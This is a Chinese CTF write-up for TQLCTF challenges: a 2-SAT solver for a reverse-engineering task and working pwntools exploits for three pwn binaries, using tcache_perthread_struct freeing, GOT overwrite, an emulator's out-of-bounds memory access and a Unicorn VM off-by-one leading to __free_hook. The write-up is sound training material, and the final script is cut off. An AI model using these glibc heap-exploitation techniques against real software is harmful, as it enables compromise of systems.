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TQLCTF-RE/PWN方向部分题目详细分析与题解

(编辑:jimmy 日期: 2024/9/20 浏览:3 次 )

RE


Tales of the Arrow

在遇到这题以前甚至都没接触过2-sat问题,所以这次也对这个问题做个概述吧。

以下内容摘自OI WIKI:

2-SAT,简单的说就是给出 n个集合,每个集合有两个元素,已知若干个<a,b>,表示 a与 b矛盾(其中 a与b属于不同的集合)。然后从每个集合选择一个元素,判断能否一共选n个两两不矛盾的元素。

而本题关键如下:

def get_lit(i):    return (i+1) * (2*int(bits[i])-1)for t in range(N):    i = random.randint(0,n-1)    p = random.randint(0,2)    true_lit = get_lit(i)    for j in range(3):        if j == p:            print(true_lit)        else:            tmp = random.randint(0,n-1)            rand_true = get_lit(tmp)            if random.randint(0,3)==0:                print(rand_true)            else:                print(-rand_true)

每轮打印比特流中的随机三位的比特状态,但这个状态有可能会取反。且取反与否发生的概率是0.5。

一开始是3-sat问题,每轮必有一个数是真实状态,另外两个数则可真可假。但3-sat是NP完全问题,基本属于不可解。所以首先我们根据明文的特殊条件消除不确定性。

因为字符串必定是可打印的字符串,其由ASCII码组成,最高位必定为0。那么这一位的状态必定是负数,如果打印出该位的状态是正数,则表示它并非必然真值,那么该组数据中另外两个必有一个为真。如果将所有带有上述情况的组别取出,问题便被缩减到2-sat,即必有一真,另一者可真可假。

2-sat问题存在多项式解法(这是结论,笔者并没有证明过),即在数据量足够的情况下,该问题会有唯一解。本题一共给出了5000组数据,符合本条件。

而本题之后的解法也很朴素,在二选一的条件下,如果又出现了“必为负数”的位被以正数打印出来,那么最后一个数就必定真值了,将所有确定真值的位全都统计下来,就能还原完整的比特流。

参考Nu1L发布的WP自己改的:

f = open("output.txt")             n = int(f.readline().rstrip('\n'))N = int(f.readline().rstrip('\n'))x=[]for i in range(1,5000):    x1=int(f.readline())    x2=int(f.readline())    x3=int(f.readline())    x.append([x1,x2,x3])true_numer=[]for i in range(n//8):    true_numer.append(-8*i-1)flag=[]for i in range(n):    flag.append(0)for i in x:    if(((-i[0] in true_numer) + (-i[1] in true_numer) + (-i[2] in true_numer))==2):        count+=1        for j in range(3):            if((i[j] not in true_numer)and(-i[j]not in true_numer)):                    true_numer+= [i[j]]for i in true_numer:    if(i<0):        flag[abs(i)-1]=0    else:        flag[i-1]=1flag_text=""for i in flag:    flag_text+=str(i)print(bytes.fromhex(hex(int(flag_text,2))[2:]))f.close() 

PWN


unbelievable_write

任意地址free,没有泄露,没有PIE,本该是道简单题,结果做了一整天......看完官方WP之后发现自己还是想的太少了,不过我自己的方法姑且也打通了,所以先从笔者的方法开始吧。

libc版本是2.31,已经有tcache了。因为此前我很少接触这个部分,所以这次记的详细一些(个人其实不太愿意在需要之前主动去掌握利用方式,这看着有些像是在“为了利用而利用”)。

程序逻辑这里不再复述,唯一值得注意的就是,它会很快就把本轮开辟的chunk释放掉,所以很难在Bin中布置chunk。

任意地址free允许我们直接把tcache_perthread_struct释放,其结构如下:

typedef struct tcache_perthread_struct{  uint16_t counts[TCACHE_MAX_BINS];//TCACHE_MAX_BINS=64  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;typedef struct tcache_entry{  struct tcache_entry *next;  struct tcache_perthread_struct *key;} tcache_entry;

可知该结构体大小为0x290,且能够控制Tcache bin的各项数据,包括链表和计数。

所以我们首先把它释放掉,然后向其中填充数据:

#首先我们先开辟一个chunk让它放到tcache bin里,事后备用payload1='aaaaaaaa'create_chunk(0x28,payload1)#然后释放tcache_perthread_structfree_index(-0x290)#接下来将tcache里的count全都置7,表示装满,以后的chunk就不会再放到这里了#同时在里面将几个next指向free_got和target_addr#这样我们之后就能向free_got和target写入数据了payload1=(p16(7)*0x28).ljust(128,b'\x00')+(p64(free_got)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)

在写入数据之后,它会立刻把tcache_perthread_struct释放掉,不过现在会因为Tcache Bin已经满了,而被放到Unsorted Bin里。Bin结构如下:

tcachebins0x20 [64480]: 0x404018 (free@got.plt) —"python">#这里payload1没变,其实填什么都行,目的只是分割罢了create_chunk(0x48,payload1)#然后将free_got写成main,而0x401040是默认数据#在从tcache bin中获取chunk时,会将key部分写为0,这会导致free的下一个函数被清零#所以恢复其中未装载时的状态,防止调用它时发生异常payload1=p64(main_addr)+p64(0x401040)create_chunk(0x18,payload1)#然后再把target拿下来,随便写点数据进去就行了,只要不是原数就行create_chunk(0x28,payload1)#最后我们调用c3函数即可open_flag()

如果我们事前没有切割Unsorted Bin,会因为2.31版本的libc检测,发生如下异常:

malloc(): unsorted double linked list corrupted

因为之前Unsorted Bin中挂的是tcache_perthread_struct,在从tcache中取出chunk的时候,会把count减一,导致fd指针无所指向,构不成回环而错误(前几个版本还不这么严格,2.31显然变得苛刻了不少)

但这个错误是发生的puts时的,该函数会在输出时为字符串开辟堆空间,所以在开辟时企图从Unsorted Bin分配时才被检测到,不会影响从Tcache Bin中的分配。

另外,还需要注意的一点是,不能直接把free_got写成c3函数中绕过检查的地址。最后也会crash在puts中。但笔者目前不知道为什么写成main就可以,而写成c3就会crash,如果有师傅知道的话务必教教我。

笔者自己的完整EXP:

from pwn import *context.log_level = 'debug'p = process('./pwn')elf=ELF('./pwn')malloc=0x401387free=0x4013fdret=0x40154Dfree_got=elf.got['free']target_addr=0x404080ptr_addr=free_gotmain=0x40152Dmas=0x401473mas=maindef create_chunk(size,context):    p.sendline(str(1))    p.sendline(str(size))    p.sendline(context)def free_index(index):    p.sendline(str(2))    p.sendline(str(index))def open_flag():    p.sendline(str(3))payload1='aaaaaaaa'create_chunk(0x28,payload1)free_index(-0x290)payload1=(p16(7)*0x28).ljust(128,b'\x00')+(p64(ptr_addr)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)create_chunk(0x48,payload1)payload1=p64(mas)+p64(0x401040)create_chunk(0x18,payload1)create_chunk(0x28,payload1)open_flag()p.interactive()

然后回到官方WP,出题人表示,能写got纯粹是一个意外,它的本意是利用io,大致逻辑如下:

static struct malloc_par mp_ ={  .top_pad = DEFAULT_TOP_PAD,  .n_mmaps_max = DEFAULT_MMAP_MAX,  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,  .trim_threshold = DEFAULT_TRIM_THRESHOLD,#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))  .arena_test = NARENAS_FROM_NCORES (1)#if USE_TCACHE  ,  .tcache_count = TCACHE_FILL_COUNT,  .tcache_bins = TCACHE_MAX_BINS,  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),  .tcache_unsorted_limit = 0 /* No limit.  */#endif};

官方EXP如下:(笔者自行添加了注释)

#!/usr/bin/env python3from pwn import *context(os='linux', arch='amd64')#context.log_level='debug'def exp():    io = process('./pwn', stdout=PIPE)    def malloc(size, content):        io.sendlineafter(b'>', b'1')        io.sendline(str(int(size)).encode())        io.send(content)    def tcache_count(l):        res = [b'\x00\x00' for i in range(64)]        for t in l:            res[(t - 0x20)//0x10] = b'\x08\x00'        return b''.join(res)    try:        #在top chunk中布置0x404078,扩大tcache之后,这些都会变为next指针        malloc(0x1000, p64(0x404078)*(0x1000//8))        #释放tcache_perthread_struct        io.sendlineafter(b'>', b'2')        io.sendline(b'-656')        #首先把0x290的count置8,让tcache_perthread_struct放进unsorted bin        malloc(0x280, tcache_count([0x290]) + b'\n')        #然后分割tcache_perthread_struct,让tcache bin中的0x400和0x410项放入main_arena+96        malloc(0x260, tcache_count([0x270]) + b'\n')        #然后把0x400和0x410也拉满,然后把0x400里的地址低位改成0xf290        #这是单纯的爆破,希望它能指向&mp_+0x10        malloc(0x280, tcache_count([0x400, 0x410, 0x290]) + b'\x01\x00'*4*62 + b'\x90\xf2' + b'\n')        #倘若指向了&mp_+0x10,那么就修改数据扩大tcache        malloc(0x3f0, flat([            0x20000,            0x8,            0,            0x10000,            0, 0, 0,            0x1301000,            2**64-1,        ]) + b'\n')        #调用puts,让它为stdout开辟缓冲区,此时会从tcache中获取chunk        #但tcache中已经被布置了0x404078,所以会得到此处内存        #并且这个内存处会被陷入puts的字符串        io.sendlineafter(b'>', b'3')        #此时target已被修改,直接调用即可成功        io.sendlineafter(b'>', b'3')        flaaag = io.recvall(timeout=2)        print(flaaag)        io.close()        return True    except:        io.close()        return Falsei = 0while i < 20 and not exp():    i += 1    continue

另外补充一些内容。虽然之前知道vtable的跳转,但我没深究过,这次遇到了,所以顺便做点总结。
puts函数在调用时会通过vtable访问_IO_file_xsput函数,该函数才是真正的puts实现,调用过程如下:

puts-->_IO_file_xsputn-->_IO_file_overflow-->_IO_doallocbuf
-->_IO_file_doallocate

_IO_file_doallocate中真正调用malloc开辟缓冲区,调用源码:

_IO_new_file_overflow (FILE *f, int ch){    ......  /* If currently reading or no buffer allocated. */  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)    {      /* Allocate a buffer if needed. */      if (f->_IO_write_base == NULL)    {      _IO_doallocbuf (f);      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);    }    ......}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

_IO_doallocbuf中通过跳转表调用_IO_file_doallocate开辟空间。

至此本题结束。

nemu

一个模拟器,个人认为难点在于把握整个程序的逻辑。因为程序本身的体量不小,光是漏洞发觉就需要好一阵子。

样本分析

help命令可以知道一共有多少命令可用。

(nemu) helphelp - Display informations about all supported commandsc - Continue the execution of the programq - Exit NEMUsi - Execute the step by oneinfo - Show all the regester' informationx - Show the memory thingsp - Show varibeals and numbersw - Set the watch pointd - Delete the watch pointset - Set memory

阅读源代码可知,初始化阶段调用load_img加载image,nemu使用的image内容如下:

static inline int load_default_img() {  const uint8_t img []  = {    0xb8, 0x34, 0x12, 0x00, 0x00,        // 100000:  movl  $0x1234,%eax    0xb9, 0x27, 0x00, 0x10, 0x00,        // 100005:  movl  $0x100027,%ecx    0x89, 0x01,                          // 10000a:  movl  %eax,(%ecx)    0x66, 0xc7, 0x41, 0x04, 0x01, 0x00,  // 10000c:  movw  $0x1,0x4(%ecx)    0xbb, 0x02, 0x00, 0x00, 0x00,        // 100012:  movl  $0x2,%ebx    0x66, 0xc7, 0x84, 0x99, 0x00, 0xe0,  // 100017:  movw  $0x1,-0x2000(%ecx,%ebx,4)    0xff, 0xff, 0x01, 0x00,    0xb8, 0x00, 0x00, 0x00, 0x00,        // 100021:  movl  $0x0,%eax    0xd6,                                // 100026:  nemu_trap  };  Log("No image is given. Use the default build-in image.");  memcpy(guest_to_host(ENTRY_START), img, sizeof(img));  return sizeof(img);}

程序只给了一部分实现,像是exec_real函数就并未给出源代码,因此只能靠逆向完成。其大致过程如下:

.data:000000000060F240 opcode_table    opcode_entry 0Fh dup(<0, offset exec_inv, 0>).data:000000000060F240                                         ; DATA XREF: exec_2byte_esc+9E↑o.data:000000000060F240                                         ; exec_2byte_esc+A5↑r ....data:000000000060F240                 opcode_entry <0, offset exec_2byte_esc, 0>.data:000000000060F240                 opcode_entry 56h dup(<0, offset exec_inv, 0>).data:000000000060F240                 opcode_entry <0, offset exec_operand_size, 0>.data:000000000060F240                 opcode_entry 19h dup(<0, offset exec_inv, 0>)......以下略

其中,opcode_entry结构体如下:

typedef struct {  DHelper decode;  EHelper execute;  int width;} opcode_entry;

decode和execute都是函数指针,它们指向解析指令函数和执行指令函数。

例如:exec_mov(本题似乎只实现了mov指令,其他指令的执行函数是无效的)

void __fastcall exec_mov(vaddr_t *eip_0){  __int64 v1; // r9  __int64 v2; // r9  operand_write(&decoding.dest, &decoding.src.val);  v1 = 108LL;  if ( decoding.dest.width != 4 )  {    v1 = 98LL;    if ( decoding.dest.width != 1 )    {      v1 = 63LL;      if ( decoding.dest.width == 2 )        v1 = 119LL;    }  }  if ( __snprintf_chk(141182936LL, 80LL, 1LL, 80LL, "mov%c %s,%s", v1, decoding.src.str, decoding.dest.str) > 79 )  {    fflush(stdout);    fwrite("\x1B[1;31m", 1uLL, 7uLL, stderr);    fwrite("buffer overflow!", 1uLL, 0x10uLL, stderr);    fwrite("\x1B[0m\n", 1uLL, 5uLL, stderr);    v2 = 108LL;    if ( decoding.dest.width != 4 )    {      v2 = 98LL;      if ( decoding.dest.width != 1 )      {        v2 = 63LL;        if ( decoding.dest.width == 2 )          v2 = 119LL;      }    }    if ( __snprintf_chk(141182936LL, 80LL, 1LL, 80LL, "mov%c %s,%s", v2, decoding.src.str, decoding.dest.str) > 79 )      __assert_fail(        "snprintf(decoding.assembly, 80, \"mov\" \"%c %s,%s\", (((&decoding.dest)->width) == 4 ? 'l' : (((&decoding.dest)"        "->width) == 1 ? 'b' : (((&decoding.dest)->width) == 2 ? 'w' : '?'))), (&decoding.src)->str, (&decoding.dest)->str) < 80",        "src/cpu/exec/data-mov.c",        5u,        "exec_mov");  }}

decoding是全局变量,指令会先被解析到decoding中,然后在exec_mov中使用该结构。结构如下:

typedef struct {  uint32_t opcode;  vaddr_t seq_eip;  // sequential eip  bool is_operand_size_16;  uint8_t ext_opcode;  bool is_jmp;  vaddr_t jmp_eip;  Operand src, dest, src2;#ifdef DEBUG  char assembly[80];  char asm_buf[128];  char *p;#endif} DecodeInfo;

阅读大致源码就能发现,nemu在模拟指令执行流程,但每一条指令都不是真正被执行的,并且也由于它实现的指令数量太少,不可能通过加载字节码的方式来利用,所以应该另寻他路。

但注意到所谓image是一个数组,通过下述定义:

#define PMEM_SIZE (128 * 1024 * 1024)uint8_t pmem[PMEM_SIZE] = {0};

其既然作为全局变量被声明,就说明它并非开辟在栈上,但也因为它过大的尺寸且不需要初值,所以被置于不占空间的bss段上,那么访问该映像就是访问bss。注意到nemu提供了指令x用于获取对应地址的内容,其关键实现如下:

uint32_t __fastcall vaddr_read(vaddr_t addr, int len){  return *&pmem[addr] & (0xFFFFFFFF  (8 * (4 - len)));//len==4}

能够发现,它没有对地址进行限定,也就是说,能够访问超出image范围的内存,实现任意地址读(指任意高地址读)。

同时,指令set的核心实现vaddr_write如下:

void __fastcall vaddr_write(vaddr_t addr, int len, uint32_t data){  uint32_t dataa; // [rsp+4h] [rbp-14h] BYREF  unsigned __int64 v4; // [rsp+8h] [rbp-10h]  dataa = data;  v4 = __readfsqword(0x28u);  memcpy((addr + 0x6A3B80LL), &dataa, len);}

0x6A3B80LL就是pmem,这里同样没有做地址限制,能够实现任意地址写(但必须注意,任意地址写并不准确,只能往pmem的高地址任意写,没办法向低地址写)。

既然已经能任意地址读写了,那我们的目的自然也就明确了,读出libc_base,然后某个函数为one_gadget就行了。

看起来这样好像就行了,但如果没看过wp就不会这么顺利了,也把其他指令分析一下看看吧。

指令w的核心是set_watchpoint:(精简后)

void __fastcall set_watchpoint(char *args){  if ( flag )  {    v2 = free_;    v3 = free_->next;    free_->old_val = v1;    v2->next = 0LL;    free_ = v3;    *v2->exp = *args;    *&v2->exp[8] = *(args + 1);    *&v2->exp[16] = *(args + 2);    *&v2->exp[24] = *(args + 6);    *&v2->exp[28] = *(args + 14);    v4 = head;    if ( head )    {      while ( v4->next )        v4 = v4->next;      v2->NO = v4->NO + 1;      v4->next = v2;    }    else    {      v2->NO = 1;      head = v2;    }  }}

nemu对watchpoint的内存使用内存池管理,在初始化阶段通过init_wp_pool构建内存池:

void __cdecl init_wp_pool(){  __int64 v0; // rax  int i; // edx  v0 = 141180952LL;  for ( i = 0; i != 32; ++i )  {    *(v0 - 56) = i;    *(v0 - 48) = v0;    v0 += 56LL;  }  wp_pool[31].next = 0LL;  head = 0LL;  free_ = wp_pool;}

head和free以及wp_pool都是watchpoint结构体指针,定义如下:

typedef struct watchpoint {  int NO;  struct watchpoint *next; char exp[30]; uint32_t old_val; uint32_t new_val;} WP;

而wp_pool同时也是一个数组,但这方面不用多想,逻辑是朴素的:

内存池是wppool,初始化阶段会将整个内存池挂进free

申请wp时,从free_中获取一个结构体;释放时,将目标放回free_链表(均通过next指针)

head指针是指向使用中的wp结构体的
在调用set_watchpoint时,将申请到的结构体挂进head,通过head遍历所有的wp

这里同样有能够利用的地方,重点如下:

    v2 = free_;    v2->next = 0LL;    *v2->exp = *args;

如果我们能够修改free_的内容为某个地址,就能通过指令w向该地址写入数据了

不过会否有些多此一举?不是已经能够任意地址写了吗?那这有什么意义呢?

尽管已经能够任意地址写了,但vaddr_write是写4字节,set_watchpoint能一次写入0x28字节;并且,我们需要把写入地址传给vaddr_write,这些参数会经过expr的处理,经笔者测试后发现,对于一些较大的地址参数会被越过而无法写入。不过expr函数的主要作用就是解析参数,似乎我们不应该费力去分析它的工作流程,所以笔者对w指令的分析到此为止,不再深入

指令d的核心是delete_watchpoint,是指令w的逆操作,这里不再赘述。而指令p、指令q等则未完成,所以没有实现。

至此我们已经分析完会接触到的所有指令,并有了思路,接下来是利用。

首先我们应该泄露libc_base。但读取数据是有限制的,首先,我们只能读取pmem的高位,其次,不能高出太多,最多是四个字节的表示范围内。所以我们应该从bss中找一个能够获取chunk地址的数据。通过调试,我们选择re为目标:

static regex_t re[NR_REGEX];

这个数组在初始化完成以后会被放入一系列的缓冲区,大致结构如下:

{    __buffer = 0x86a5530,     __allocated = 0xe0,     __used = 0xe0,     __syntax = 0x3b2fc,     __fastmap = 0x86a5420 "",     __translate = 0x0,     re_nsub = 0x0,     __can_be_null = 0x0,     __regs_allocated = 0x0,     __fastmap_accurate = 0x1,     __no_sub = 0x0,     __not_bol = 0x0,     __not_eol = 0x0,     __newline_anchor = 0x0}

buffer是从堆上开辟的,任意读一个buffer出来,我们都能拿到堆的基址:

cmd_x(pmem_end+0x40)recv_pad()#吸收掉无用数据heap_base=int(p.recv(8),16)-0x530print("heap_base:"+str(hex(heap_base)))

然后通过调试找一块在当前状态下fd或bk未没清空的chunk(笔者试着在Bin中查找,但那个方法不太起效,所以直接通过gdb的heap指令找了一块出来):

#因为一次只能读取4字节,所以需要调整参数读两次target_chunk=heap_base+0x19770+0x10cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18)recv_pad()libc_leak=int(p.recv(8),16)cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18+4)recv_pad()libc_leak2=int(p.recv(8),16)libc_leak=(libc_leak2<<32)+libc_leaklibc_base=libc_leak-(0x7f575472db98-0x00007f5754369000)print("libc_base:"+str(hex(libc_base)))

接下来就需要写got表了,但我们知道,got表在pmem的低地址处,正常操作写不到它,因此这里需要用到指令w来做另外一种写数据:

#首先,把free_写入printf_chk_got-0x30cmd_set(free_-pmem_start,printf_chk_got-0x30)#接下来调用指令wcmd_w(one_gadget)

指令w的关键汇编如下:

.text:0000000000409602                 mov     rcx, cs:free_.text:0000000000409609                 test    rcx, rcx.text:000000000040960C                 jz      loc_4096BC.text:0000000000409612                 mov     rdx, [rcx+8].text:0000000000409616                 mov     [rcx+30h], eax

eax是我们的参数低4位,而rcx则是free_。该函数会将free_取出,并在[rcx+30h]处放入eax,我们由此完成got表的篡改。

最后只需要调用printf_chk函数即可。

笔者自己的完整exp:

from pwn import *context(arch='i386',os='linux',log_level = 'debug')p=process("./nemu")elf=ELF("./nemu")libc=elf.libcdef dbg(addr):    gdb.attach(p,'b *({})\nc\n'.format(addr))def send_cmd(cmd):    p.recvuntil('(nemu) ')    p.sendline(cmd)def cmd_x(addr):    cmd="x "+str(hex(addr))    send_cmd(cmd)def cmd_set(addr,context):    cmd="set "+str(hex(addr))+" "+str(context)    send_cmd(cmd)def cmd_w(addr):    cmd="w "+str(hex(addr))    send_cmd(cmd)def recv_pad():    p.recvuntil("0x")    p.recvuntil("0x")    p.recvuntil("0x")pmem_end=0x8000000pmem_start=0x6A3B80free_=0x86A3FC0########### part 1 ###########cmd_x(pmem_end+0x40)recv_pad()heap_base=int(p.recv(8),16)-0x530print("heap_base:"+str(hex(heap_base)))target_chunk=heap_base+0x19770+0x10cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18)recv_pad()libc_leak=int(p.recv(8),16)cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18+4)recv_pad()libc_leak2=int(p.recv(8),16)libc_leak=(libc_leak2<<32)+libc_leaklibc_base=libc_leak-(0x7f575472db98-0x00007f5754369000)print("libc_base:"+str(hex(libc_base)))og = [0x4527a,0xf03a4,0xf1247]one_gadget=libc_base+og[0]printf_chk_got=elf.got["__printf_chk"]cmd_set(free_-pmem_start,printf_chk_got-0x30)cmd_w(one_gadget)#因为没输入参数而调用printf_chkcmd="w"send_cmd(cmd)p.interactive()

ezvm

第一次接触Unicorn,虽然之前也遇到过类似的题目,但当时受限于技术水平,连WP都不能很好的理解,这次算是正式接触这类模拟器了。

Unicorn是一款成熟的开源CPU模拟器,本题通过该项目实现了一个简单的虚拟机。其main函数简化后的主要逻辑如下:(出于可读性考虑,所以简化代码后不考虑代码是否可执行)

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  puts("Send your code:");  v11 = get_input(&unk_54E0, 0x4000);  v5 = 4660;  v6 = 22136;  puts("Emulate i386 code");  v10 = 0x7FFFFFFFE000LL;  v7 = uc_open(4LL, 8LL, &v8);  uc_mem_map(v8, 0x400000LL, 0x10000LL, 7LL);  uc_mem_map(v8, 0x7FFFFFFEF000LL, 0x10000LL, 7LL);  uc_mem_write(v8, 0x400000LL, &unk_54E0, v11 - 1)  uc_hook_add(v8, v9, 2LL, handle_syscall, 0LL, 1LL,0LL,699LL);//UC_X86_INS_SYSCALL  uc_reg_write(v8, 44LL, &v10);  v7 = uc_emu_start(v8, 0x400000LL, v11 + 0x3FFFFF, 0LL, 0LL);  uc_reg_read(v8, 22LL, &v5);  uc_reg_read(v8, 24LL, &v6);  printf("> ECX = 0x%x\n", v5);  printf("> EDX = 0x%x\n", v6);  uc_close(v8);  return 0LL;}

大致意思是:

初始化一台模拟器,将用户输入的机器码映射到模拟器的0x400000地址处,然后注册一个syscall_hook,当模拟器内执行syscall指令时,调用hook中的实现。最后将模拟器的ecx和edx寄存器内容读出显示给用户。

handle_syscall函数简化后的逻辑如下:

unsigned __int64 __fastcall handle_syscall(__int64 a1){  uc_reg_read(a1, 35LL, ®_rax);  if ( reg_rax == 1 )    system_write(a1);  else if ( reg_rax == 2 )    system_open(a1);  else if ( reg_rax == 3 )    system_close(a1);  else if(reg_rax == 0)    system_read(a1);}

文件结构如下:

struct_fd       struc ; (sizeof=0x48, mappedto_8)00000000 fileno          dq ?00000008 name            db 24 dup(?)00000020 malloc_buf      dq ?00000028 malloc_size     dq ?00000030 read_func       dq ?                   00000038 write_func      dq ?                    00000040 close_func      dq ? 00000048 struct_fd       ends

另外,本题开启了沙箱,具体代码如下:

  prctl(38, 1LL, 0LL, 0LL, 0LL);  prctl(22, 2LL, &v1);

沙箱规则这里就不细究了,大致意思就是只能使用orw三个调用。

system_open

这里笔者只截取核心实现:fd_malloc

size_t __fastcall fd_malloc(const char *a1, unsigned __int64 a2){  unsigned __int64 size; // [rsp+0h] [rbp-20h]  int i; // [rsp+14h] [rbp-Ch]  int j; // [rsp+14h] [rbp-Ch]  struct_fd *v6; // [rsp+18h] [rbp-8h]  size = a2;  for ( i = 0; i <= 15; ++i )  {    if ( !strcmp(struct_file[i].name, a1) )      return struct_file[i].fileno;  }  if ( count_fd > 15 )    return 0xFFFFFFFFLL;  if ( a2 > 0x400 )    size = 0x400LL;  for ( j = 0; j <= 15 && struct_file[j].name[0]; ++j )    ;  v6 = &struct_file[j];  v6->malloc_buf = malloc(size);  strcpy(v6->name, a1);  v6->read_func = malloc_read;  v6->write_func = malloc_write;  v6->close_func = malloc_close;  v6->fileno = j;  ++count_fd;  v6->malloc_size = size;  return v6->fileno;}

注意到第22行的strcpy函数,它将a1按字节传入v6->name,根据文件结构可知,如果a1字符串足够长,就应该能从name溢出到malloc_buf,因为strcpy会一直拷贝直到src遇到'\x00'字符为止。

而在system_open函数中可以发现,a1的来源如下:

  char name[56];  uc_reg_read(a1, 39LL, &v3);  uc_reg_read(a1, 0x2BLL, &size);  if ( !uc_mem_read(a1, v3, name, 24LL) )  {    v2 = fd_malloc(name, size);    (uc_reg_write)(a1, 35LL, &v2);  }

此处的a1是模拟器本身,uc_reg_read会从edi和esi寄存器中分别读出数据放入v3和size,v3则是字符串指针,再通过uc_mem_read将指针处字符串读出,写入name数组。

但值得注意的是,uc_mem_read最多读取24个字符,所以name只会有24个字符。

同时我们可以知道,文件结构中的name字段也是24个字符,而strcpy函数会在dest字符串尾部用'\x00'填充。因此,如果name填满24字节,就会有一个'\x00'溢出到malloc_buf处导致off-by-one漏洞。

fd_write

同样只看关键部分:

ssize_t __fastcall fd_write(int fd, const void *buf, size_t size){  int i; // [rsp+2Ch] [rbp-4h]  for ( i = 0; i <= 15; ++i )  {    if ( struct_file[i].fileno == fd )      return struct_file[i].write_func(&struct_file[i].fileno, buf, size);  }  return 0xFFFFFFFFLL;}

write_func是之前储存在文件结构中的函数指针,其实现如下:

size_t __fastcall malloc_write(struct_fd *fd, const void *buf, unsigned __int64 size_1){  unsigned __int64 size; // [rsp+28h] [rbp-8h]  size = size_1;  if ( size_1 > fd->malloc_size && size_1 > 0x400 )    size = 0x400LL;  if ( size > fd->malloc_size )    fd->malloc_buf = realloc(fd->malloc_buf, size);  fd->malloc_size = size;  memcpy(fd->malloc_buf, buf, size);  return size;}

首先通过fileno找到对应的文件,然后用memcpy将buf中的内容拷贝到fd->malloc_buf中。

system_read

ssize_t __fastcall fd_read(int a1, void *a2, size_t a3){  int i; // [rsp+2Ch] [rbp-4h]  for ( i = 0; i <= 15; ++i )  {    if ( struct_file[i].fileno == a1 )      return struct_file[i].read_func(&struct_file[i].fileno, a2, a3);  }  return 0xFFFFFFFFLL;}
size_t __fastcall malloc_read(struct_fd *fd, void *buf, size_t size){  size_t n; // [rsp+28h] [rbp-8h]  n = size;  if ( size > fd->malloc_size )    n = fd->malloc_size;  memcpy(buf, fd->malloc_buf, n);  return n;}

通过memcpy将fd->malloc_buf的数据拷贝到buf里。

system_close

__int64 __fastcall fd_free(int a1){  int i; // [rsp+1Ch] [rbp-4h]  for ( i = 0; i <= 15; ++i )  {    if ( struct_file[i].fileno == a1 )      return struct_file[i].close_func(&struct_file[i]);  }  return 0xFFFFFFFFLL;}
__int64 __fastcall malloc_close(struct_fd *fd){  if ( fd->malloc_buf )    free(fd->malloc_buf);  memset(fd->name, 0, sizeof(fd->name));  fd->malloc_buf = 0LL;  fd->malloc_size = 0LL;  --count_fd;  return 0LL;}

释放fd->malloc_buf并置零,其他参数数据清空,全局fd计数器减一。

但必须注意的是,对于stdin、stdout、stderr,它们有自己另外的处理函数:

ssize_t __fastcall sub_168E(_QWORD *a1, void *a2, size_t a3){  return read(*a1, a2, a3);}
ssize_t __fastcall sub_16C3(_QWORD *a1, const void *a2, size_t a3){  return write(*a1, a2, a3);}
int __fastcall sub_166E(_QWORD *a1){  return close(*a1);}

如果inode编号是这三个,就不会调用malloc_xxx了。

利用分析

整个程序关键的函数只有上面这几个,我们目前只发现了一个在open中的漏洞。

首先我们能够溢出fd->malloc_buf,那么就能将对应地址释放,然后造成uaf。

首先我们需要泄露libc基址。因为用户是没办法和虚拟机直接交互的,并且unicorn中模拟的程序与我们有着完全不同的地址空间,因此我们想要泄露用户层的地址就只能依托,因此直接通过字节码来获取数据是行不通的,因为我们的数据和它们的数据在理论上是隔离的。

但有一个地方并没用隔离开,就是fd->malloc_buf,这个buf是从用户空间开辟出来的,里面会存有用户空间的数据。

以下利用方式主要参考Nu1L战队给出的exp

我们先试着随便放点可执行的机器码进去,然后看看此时的堆状态:

x20 [  3]: 0x55d984671e70 —"python">#读入设备名sc += sys_read(0,get_name(0),0x20)#打开设备,让其从largebins中获取fd->malloc_buf的内存sc += sys_open(get_name(0),0xb0)#将fd->malloc_buf中残留的数据读出到缓冲区sc += sys_read(3,get_name(1),0x100)#将缓冲区的数据输出给用户sc += sys_write(1,get_name(1),8)

尽管现在泄露了地址,但利用却有些困难。Unicorn是以外部链接库的方式被调用的,我们不清楚它在执行过程中调用了多少malloc和free(除非我们真的去阅读源代码了,但似乎不太现实),所以布置起来会有些麻烦。但还是有些特别的小技巧可用。

观察之前的堆状态我们可以知道,有个别几个Bin像是不被库调用的,比如size=0x60/0x80/0xc0等,这些大小的chunk在Tcache bin中不存在,保守估计,我们能够找到一个完全由我们自己控制的大小块,这样就不需要担心因为调用库而被干扰了。

在上面泄露地址时:

sc += sys_open(get_name(0),0xb0)

调用本行时,会申请0xc0大小的chunk,该chunk就很有可能不会被影响到。

接下来的思路是:

首先关闭inode 3,将0xc0的chunk释放到tcache bin,然后通过off-by-one溢出到该chunk的上方,然后write该chunk去向下覆盖其fd指针,这样就能在之后开辟chunk到该fd。

我们可以让它是__free_hook,那么就能写成one_gadget或其他各种各样了(不过本题开启了沙箱,所以one_gadget不行,还是得老老实实orw拿出flag)。

剩下的payload就不言而喻了,直接给出Nu1L师傅们的exp吧:(自己加了点注释)

from pwn import *context.arch = 'amd64'context.log_level = 'debug'def read(fd,addr,size):    sc = '''    xor eax,eax;    push {};    pop rdi;    mov rsi,{};    push {};    pop rdx;    syscall;    '''.format(fd,addr,size)    return scdef write(fd,addr,size):    sc = '''    push 1;    pop rax;    push {};    pop rdi;    mov rsi,{};    push {};    pop rdx;    syscall;    '''.format(fd,addr,size)    return scdef close(fd):    sc = '''    push 3;    pop rax;    push {};    pop rdi;    syscall;    '''.format(fd)    return scdef insert(name_addr,size):    sc = '''    push 2;    pop rax;    mov rdi,{};    push {};    pop rsi;    syscall;    '''.format(name_addr,size)    return scdef get_name(idx):    return 0x7FFFFFFEF000+0x20*idx#a chunk size 0x20def dbg(addr):    gdb.attach(p,'b *$rebase({})\n'.format(addr))p = 